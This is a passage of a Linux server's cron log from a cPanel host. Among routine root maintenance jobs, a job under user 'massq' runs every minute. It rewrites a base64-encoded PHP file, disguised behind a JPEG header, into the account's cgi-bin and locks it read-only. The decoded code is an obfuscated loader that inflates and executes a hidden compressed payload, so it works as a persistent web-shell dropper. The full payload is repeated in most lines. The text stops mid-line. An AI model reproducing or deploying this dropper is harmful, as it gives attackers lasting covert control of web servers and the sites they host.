Sep  8 02:30:02 server CROND[3190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:30:02 server CROND[3192]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:30:02 server CROND[3195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:30:02 server CROND[3196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:30:02 server CROND[3197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:30:02 server CROND[3201]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:30:02 server CROND[3194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:30:02 server CROND[3193]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:31:01 server CROND[4009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:31:01 server CROND[4010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:31:01 server CROND[4011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:32:01 server CROND[4488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:32:01 server CROND[4489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:32:01 server CROND[4490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:33:01 server CROND[4874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:33:01 server CROND[4875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:33:01 server CROND[4876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:34:01 server CROND[5244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:34:01 server CROND[5245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:34:01 server CROND[5246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:35:01 server CROND[5631]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 02:35:01 server CROND[5632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:35:01 server CROND[5633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:35:01 server CROND[5637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:35:01 server CROND[5652]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:35:01 server CROND[5655]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:35:01 server CROND[5653]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 02:35:01 server CROND[5651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:35:01 server CROND[5654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:36:01 server CROND[6484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:36:01 server CROND[6485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:36:01 server CROND[6486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:37:01 server CROND[7063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:37:01 server CROND[7064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:37:01 server CROND[7066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:38:02 server CROND[7536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:38:02 server CROND[7537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:38:02 server CROND[7538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:39:01 server CROND[7884]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 02:39:01 server CROND[7886]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:39:01 server CROND[7885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:39:01 server CROND[7888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:40:01 server CROND[8288]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 02:40:01 server CROND[8291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 02:40:01 server CROND[8290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 02:40:01 server CROND[8292]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 02:40:01 server CROND[8295]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 02:40:01 server CROND[8293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 02:40:01 server CROND[8294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 02:40:01 server CROND[8296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 02:41:01 server CROND[9114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 